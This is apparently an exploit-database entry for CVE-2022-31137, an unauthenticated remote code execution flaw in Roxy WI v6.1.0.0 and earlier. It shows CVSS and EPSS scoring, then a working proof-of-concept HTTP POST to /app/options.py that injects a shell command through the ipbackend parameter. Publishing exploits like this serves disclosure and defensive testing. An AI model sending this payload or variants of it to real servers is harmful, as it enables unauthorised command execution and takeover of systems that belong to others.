Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE) via subprocess_execute

2023-05-2400:00:00

Iyaad Luqman K

www.exploit-db.com

142

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.952 High

EPSS

Percentile

99.1%

JSON

# Exploit Title: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE) via subprocess_execute
# Exploit Author: Iyaad Luqman K
# Application: Roxy WI <= v6.1.0.0
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31137


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.1.44
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Origin: https://192.168.1.44
Referer: https://192.168.1.44/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcertalert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1